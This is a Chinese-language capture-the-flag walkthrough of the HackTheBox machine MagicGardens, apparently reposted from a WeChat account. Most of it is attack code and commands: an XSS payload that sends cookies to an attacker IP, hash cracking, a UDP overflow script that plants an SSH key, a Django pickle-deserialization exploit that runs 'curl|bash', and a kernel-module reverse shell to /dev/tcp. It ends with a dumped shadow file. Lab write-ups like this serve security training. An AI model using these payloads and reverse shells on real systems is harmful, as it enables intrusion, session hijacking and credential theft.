扫描靶机
nmap -p 1-65535 -T4 -A -v 10.10.11.9
描多个端口,其中有smtp,经常看到的80,其中还有一个docker端口,得到了域名是magicgardens.htb,写到hosts,然后打开看看
需要登录,先跑一些网站目录
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://magicgardens.htb/FUZZ" --hc 404,200
跑出了一个admin,打开看看
知道了该cms是Django,而且是admin的登录页面,得不到版本,回到刚刚登录那里注册一个用户登录进去
得知这是一个卖花的网站,先选一朵花看看
购买完后会弹出这两段话
第二句话有点信息,是出示二维码可以减免,右上角有个升级选项
点击升级叫你填写三种卡
假如将鼠标停留在上面会出现一个域名,同时查看源码也会得出
可以分别得到这三个域名:honestbank.htb plunders.htb magicalbank.htb,填写完下面的信息抓包测试一下
可以看的请求包里面的bank参数是信用卡的域名,将其改成本地机器看看是否有返回
看来有返回信息,并且得到了一个地址,但是是501状态,使用curl命令查看一下honestbank.htb,测试一下api
curl http://honestbank.htb/api/payments/
curl http://honestbank.htb/api/payments/ -X POST
curl http://honestbank.htb/api/payments/ -X POST -d '{"cardname" :"Kun", "cardnumber" :"1111-2222-3333-4444"}'
第一个返回说明了这种的请求方法不被允许,第二种说明了POST请求是可以允许的,但是因为缺少参数或者格式问题不被请求,第三种是添加了参数后请求通过,但是是402状态,猜测是需要某种条件才能接受,使用flask框架写一个简单python服务脚本,这个脚本当客户端以POST方法请求/api/payments/时,服务器会返回一些信息
from flask import Flask, jsonify
# 创建Flask应用
app = Flask(__name__)
# 预定义的任务数据,这里用于模拟支付信息的返回
tasks = {
"status": "200", # HTTP状态码
"message": "OK", # 返回消息
"cardname": "Kun", # 演示用卡名
"cardnumber": "1111-2222-3333-4444" # 演示用卡号
}
# 定义路由和方法,这里仅允许POST请求
def get_tasks():
# 将预定义的支付信息以JSON格式返回
return jsonify(tasks)
# 程序入口,指定主机和端口
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
然后服务器成功捕捉到POST
返回页面可以看到,得到了一个二维码
将他保存下来,等会儿买东西有优惠,回到主页选一朵花
然后购买,回到升级那里会出现一条短信
他的意思是花明天到,可以上传二维码给她打个折,可以是用这个网站,将这个二维码进行解码(换了几次二维码。。。)
https://zxing.org/w/decode.jspx
e12f2e6348266d7dc259b4c19af0ad7e.0d341bcdc6746f1d452b3f4de32357b9
回到刚刚短信那里,看到这种表单很眼熟,可以尝试使用xss来攻击,获得cookie
e12f2e6348266d7dc259b4c19af0ad7e.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://10.10.14.49/?cookie="+btoa(document.cookie);</script><p>
成功获得cookie,上传的qr不是升级生成的qr,是xss攻击的qr,使用这个链接生成,将该cookie及逆行解码
https://gchq.github.io/CyberChef/#recipe=Generate_QR_Code('PNG',5,4,'Medium')&input=PC9wPjxzY3JpcHQ%2BdmFyIGk9bmV3IEltYWdlKCk7IGkuc3JjPSJodHRwOi8vMTAuMTAuMTQuOTcvP2Nvb2tpZT0iK2J0b2EoZG9jdW1lbnQuY29va2llKTs8L3NjcmlwdD48cD4
Y3NyZnRva2VuPTd4MUxrU0NPRjJDUFJnRDZpemJhaVN3MnZUM0dVRW1JOyBzZXNzaW9uaWQ9LmVKeE5qVTFxd3pBUWhaTkZRZ01waFp5aTNRaExsdU5vVjdydnFnY3draXhGYmhNSjlFUHBvdEFEekhKNjN6cHVBcDdkOTc3SG01X1Y3MjY1bU80YkgtR3VKQk85UEJ1RTFUbkVfSVd3VGxubWtzYmdMVXRyRVRhZlEzTGRhVWdaWVlHd25WQ0g0ck9KNk5hdzBUTG1mel9TZHFLWnZ1OWt5YTY3UE9xR0htSEpFSGF6VEVuOVlmd29udnAzNlktQjZPQnpIQlM1Vk1qVkp2SWFlbk42dVhVZlpnTk9Kb2Z3VEJ0dG1XMEZyVTNWY0diTWdXbFJLY1dwdElJeTJSeXFmYTF0MC1vOVZZcXB5ckNhRzA2MWFtdXVoY0JDX2dEZXMyWDc6MXM5UFBWOmVmenZpSkRpbENrbUVDbVVjcGVKTmphMEMwWUQ2ZFdHZndFc1pxazdEWEU=
成功登录到admin页面,选择右上方的change password,然后点击商店用户
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=
得出一串密码,需要写一个脚本进行破解,或者使用hashcat
from passlib.hash import django_pbkdf2_sha256
# 哈希值,应替换为具体的哈希字符串
hash = 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I='
# 从哈希字符串中提取轮数和盐值
parts = hash.split('$')
rounds = int(parts[1])
salt = parts[2]
# 读取密码文件,并尝试找到匹配的密码
with open("../rockyou.txt", "r", errors="ignore") as f:
for key in f:
# 清除密码两端的空白符
secret = key.strip()
# 显示当前正在测试的密码,但不换行
print(secret, end='r')
# 生成当前密码的哈希值,并与给定哈希比较
if django_pbkdf2_sha256.hash(secret, rounds=rounds, salt=salt) == hash:
print("password: " + secret)
break # 找到匹配密码后退出循环
成功破解出密码是jonasbrothers,直接使用ssh登录
成功登录,但是底下是没有user flag的,输入ps命令查看后台可以发现这条命令
这个叫harvest的应用,指定日志文件的存储路径为 /home/alex/.harvest_logs ,-l 选项通常用于设置日志输出的位置。这意味着 harvest 服务器将其活动日志保存到指定的目录中,morty用户有该应用的权限,下载下来,在/usr里面,自己找一下吧,然后进行逆向
void handle_raw_packets(int param_1,char *param_2,char *param_3)
{
ssize_t sVar1;
char *pcVar2;
char acStack_1007a [8];
undefined uStack_10072;
time_t tStack_10070;
char acStack_10068 [32];
char acStack_10048 [32];
byte bStack_10028;
byte bStack_10027;
byte bStack_10026;
byte bStack_10025;
byte bStack_10024;
byte bStack_10023;
byte bStack_10022;
byte bStack_10021;
byte bStack_10020;
byte bStack_1001f;
byte bStack_1001e;
byte bStack_1001d;
char acStack_1001a [65554];
memset(&bStack_10028,0,0xffff);
sVar1 = recvfrom(param_1,&bStack_10028,0xffff,0,(sockaddr *)0x0,(socklen_t *)0x0);
tStack_10070 = time((time_t *)0x0);
pcVar2 = ctime(&tStack_10070);
strncpy(acStack_1007a,pcVar2 + 0xb,8);
uStack_10072 = 0;
if ((uint)sVar1 < 0x28) {
puts("Incomplete packet ");
close(param_1);
/* WARNING: Subroutine does not return */
exit(0);
}
sprintf(acStack_10048,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(uint)bStack_10022,(uint)bStack_10021,
(uint)bStack_10020,(uint)bStack_1001f,(uint)bStack_1001e,(uint)bStack_1001d);
sprintf(acStack_10068,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(uint)bStack_10028,(uint)bStack_10027,
(uint)bStack_10026,(uint)bStack_10025,(uint)bStack_10024,(uint)bStack_10023);
if (acStack_1001a[0] == 'E') {
print_packet((long)acStack_1001a,param_3,param_2,acStack_10048,acStack_10068,acStack_1007a,
(long)&bStack_10028);
}
if (acStack_1001a[0] == '`') {
log_packet((long)acStack_1001a,param_3);
}
return;
这段C语言代码是一个名为handle_raw_packets的函数,用于处理数据包。它首先清空一个大缓冲区,然后尝试从param_1指定的网络套接字接收数据。数据被读取到缓冲区bStack_10028中。如果接收的数据小于40字节,它将打印错误消息并关闭套接字。此外,函数提取并格式化当前时间以及从缓冲区中的两个MAC地址到我们可读的字符串acStack_10048和acStack_10068。如果数据包以'E'开头,它调用print_packet来处理数据;如果以''开头,它调用log_packet`来记录数据,如果发送一个ipv6包,会通过log_packet函数保存日志,然后故意发送了一个太大的数据包测试,并从接收中跟踪日志,会得到了一个记录了大量内容的文件
本地调试
strace ./harvest server -l log_packet.log
./harvest client 127.0.0.1
使用脚本创建一个IPv6 UDP套接字,并发送一个长度为65000字节的数据包
import socket
# 定义服务器地址和端口
HOST = '::1' # IPv6环回地址(localhost)
PORT = 8000 # 目标端口
# 创建一个IPv6 UDP套接字
server_address = (HOST, PORT)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
try:
# 连接到服务器
s.connect(server_address)
# 发送一个65000字节的数据包
s.send(b'A' * 65000)
print("数据包发送成功")
except Exception as e:
print(f"发送数据包时出错: {e}")
finally:
# 关闭套接字
s.close()
现在可以得知了可以溢出的大小,更改一下脚本
import socket
# 定义服务器地址和端口
HOST = '::1' # IPv6环回地址(本地主机)
PORT = 8000 # 目标端口
# 创建一个IPv6 UDP套接字
server_address = (HOST, PORT)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
try:
# 连接到服务器
s.connect(server_address)
# 发送一个65372字节的'A'字符数据包,后面跟随'dryu8'
s.send(b'A' * 65372 + b'ikun')
print("数据包发送成功")
except Exception as e:
print(f"发送数据包时出错: {e}")
finally:
# 关闭套接字
s.close()
看来溢出成功了,得到以上结果,文件名已经改成ikun了,然后利用该漏洞将自己生成的密钥转到alex,直接密钥登录,本地运行client,然后python上传到目标运行
./harvest client 10.10.11.9
import socket
# 定义服务器地址和端口
HOST = '::1' # IPv6环回地址(本地主机)
PORT = 8000 # 目标端口
# 要发送的文件路径
file = b'/home/alex/.ssh/authorized_keys'
# NOP指令,用于填充数据包
nop = b'r'
# 要发送的SSH密钥
key_id_rsa = b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmYn0ajLuNYao6YYuhq+bYkDb5a3RK94iN46iXlwDOYFbmfteDJgyc++LtIiAQNM4wF6J9fa0ww2FTTRTtqm7MBpfm7MLpXcHK7ospvmrDo1PlNXbziLKkMDM6jP2ORl4QH4rnHkQsIkFp0kORvyQWGkM820jHBo6Uhi6zuGC+1MLS4uIUJCLa392pJ0LVUAXnCJwRW9X2byeHCL5gRtUhi345cHduqtlVZcE1r14oeXQSnjrQIwNcZahFCPe0CfMxR71j3gY8wc9J9vIIwdykpzaAgy5O8UIUP622tGtyT5yUmcECKpvI8qU/xNMjHjWCLwgu7Nb3JMZ/ZcUyctRjYQNhAMdpk9SzTrHjvFGznkkGiaxcrrSz8i8n68Xk0F3pmoI+2dLX8bh6ZjrvUdWo57zJaA1H5XYtr8Wt8DR7ntX/l04Q0myivsvxfKnbvWrCSK52asX87nxp0960e59pjCecsRGduMOuxgz5ROcom2d8KU+52m2rlhZgL92zEXqAp6zYBFwkepq6b+89ndjoh3znR7sw/XUwYTvwsetJk0PegC9fUsCgvW38k6A65QJTZKV2+POTHwUDvmbQJLkvpgbMzW8XG/Le/OBuPDepVjJV+Smy9TON9xqwX4da1G3q9VxP3lfZlSkSmhHidqO9OIe7wvBHOJYgTv5OVtEicw== root@penetration'
# 设定数据包的总大小
packet_size = 65370
# 创建一个IPv6 UDP套接字
server_address = (HOST, PORT)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
try:
# 连接到服务器
s.connect(server_address)
# 计算填充的NOP数量,确保总长度为packet_size
nop_padding = nop * (packet_size - len(key_id_rsa))
# 构造数据包内容,确保每部分正确拼接
packet = nop_padding + b'n' + key_id_rsa + b'n' + file
# 发送数据包
s.send(packet)
print("数据包发送成功")
except Exception as e:
print(f"发送数据包时出错: {e}")
finally:
# 关闭套接字
s.close()
成功的替换了公钥和拿到了user flag
在var/mail/那里有一封alex的邮件
里面这句话:Use this file for registry configuration. The password is on your desk提示了密码,将auth.zip文件的内容使用base64编码打开时,可以得到了一个docker注册表密码的htpasswd文件
利用该工具将其导出,先将base64转变成zip,可以写一个python脚本
import base64
# Base64 编码的 ZIP 文件内容
encoded_zip = """
UEsDBAoACQAAANJKPVd7vIicUQAAAEUAAAAIABwAaHRwYXNzd2RVVAkAA5zPFmXfzxZldXgLAAEE
AAAAAAQAAAAALhn9bpKX/KXvjmlPfYCa9OEHMyQcFo1tQTmiDY2N8aVPEZmJLeCnCLo9hZ7Ouh0t
Ey1XVCasp5mosMUwvyYvFbnKe2TgDyi1bV2aZ2hn368DUEsHCHu8iJxRAAAARQAAAFBLAQIeAwoA
CQAAANJKPVd7vIicUQAAAEUAAAAIABgAAAAAAAEAAADogQAAAABodHBhc3N3ZFVUBQADnM8WZXV4
CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAACjAAAAAAA=
"""
# 解码 Base64 编码的数据
decoded_bytes = base64.b64decode(encoded_zip)
# 将解码后的二进制数据写入文件
with open("auth.zip", "wb") as file:
file.write(decoded_bytes)
print("ZIP 文件已成功创建。")
解压是由密码的,直接使用zip2john工具生成哈希,直接破解,可以得到密码
auth.zip/htpasswd:$pkzip$1*2*2*0*51*45*9c88bc7b*0*42*0*51*4ad2*2e19fd6e9297fca5ef8e694f7d809af4e10733241c168d6d4139a20d8d8df1a54f1199892de0a708ba3d859eceba1d2d132d575426aca799a8b0c530bf262f15b9ca7b64e00f28b56d5d9a676867dfaf03*$/pkzip$:htpasswd:auth.zip::auth.zip
alex:$2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW
成功的拿到了哈希,破解出alex的密码:diamonds
破解出来没法用,猜测是另有用途,记得一开始是有个5000端口的,是个docker,使用该工具将其导出
https://github.com/Syzik/DockerRegistryGrabber
首先列举该docker
python drg.py https://magicgardens.htb -U 'alex' -P 'diamonds' --list
可以得到一个magicgardens.htb的docker,然后将其导出
python drg.py https://magicgardens.htb -U 'alex' -P 'diamonds' --dump_all
解压到 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar压缩包,可以得到Django的项目目录,在/usr/src/app/app里面可以找到settings.py,可以看到这三段代码
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_COOKIE_HTTPONLY = False
在底下有个隐藏的env文件,得到了key
$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b ae1662c34)618U549601
这些设置是 Django 框架中用于配置会话(session)行为的选项。它们指定了会话存储机制、序列化方法以及会话 cookie 的一些安全属性,使用PickleSerializer(Python Serializer Vulnerability.)攻击,可以从以下内容中提取rce,进行反序列化攻击,记得放在Django的项目文件夹app里面,有settings.py的那个,可以参考这篇文章
https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/
import os
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer
# 设置 Django 的环境变量
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")
class PickleSerializer(object):
"""
自定义 Pickle 序列化器。
"""
def dumps(self, obj):
"""将对象序列化为二进制格式。"""
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
"""从二进制格式解析并重构 Python 对象。"""
return pickle.loads(data)
class Exploit(object):
"""
定义一个利用类,用于创建可以执行恶意操作的对象。
"""
def __reduce__(self):
"""为 pickle 定义如何减少复杂对象的方法,并返回可以调用 subprocess.Popen 的元组。"""
return (subprocess.Popen, (
("curl 10.10.14.8|bash"), # 待填充的反向 shell 命令
0, # 缓冲区大小
None, # 执行环境
None, # 标准输入
None, # 标准输出
None, # 标准错误
None, # 预执行函数
False, # 是否关闭文件描述符
True, # 是否在 shell 中执行
))
# 使用 Django 的 signing 工具,根据特定的密钥和 salt 来对 Exploit 实例进行序列化和签名。
signed_data = signing.dumps(
Exploit(),
key='55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b',
salt='django.contrib.sessions.backends.signed_cookies',
serializer=PickleSerializer,
compress=True
)
print("序列化和签名后的数据:", signed_data)
获得的cookie更换到网站的cookie
成功的反弹进入了docker,而且是root用户,使用getcap列出所以文件的capabilities,同时忽略所有的错误信息(例如权限不足以访问某些文件的错误)
getcap -r / 2>/dev/nul
capsh --print
可以参考这篇文章利用:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_module
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exitingn");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
成功反弹shell,拿到root flag
root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7:::
daemon:*:19592:0:99999:7:::
bin:*:19592:0:99999:7:::
sys:*:19592:0:99999:7:::
sync:*:19592:0:99999:7:::
games:*:19592:0:99999:7:::
man:*:19592:0:99999:7:::
lp:*:19592:0:99999:7:::
mail:*:19592:0:99999:7:::
news:*:19592:0:99999:7:::
uucp:*:19592:0:99999:7:::
proxy:*:19592:0:99999:7:::
www-data:*:19592:0:99999:7:::
backup:*:19592:0:99999:7:::
list:*:19592:0:99999:7:::
irc:*:19592:0:99999:7:::
_apt:*:19592:0:99999:7:::
nobody:*:19592:0:99999:7:::
systemd-network:!*:19592::::::
messagebus:!:19592::::::
avahi-autoipd:!:19592::::::
sshd:!:19592::::::
alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki/5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7:::
morty:$y$j9T$0lTi82bFeyrX9oyH/XMnE.$V8E6g5oxm5/LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7:::
postfix:!:19629::::::
_laurel:!:19839::::::
原文始发于微信公众号(Jiyou too beautiful):HTB-MagicGardens笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论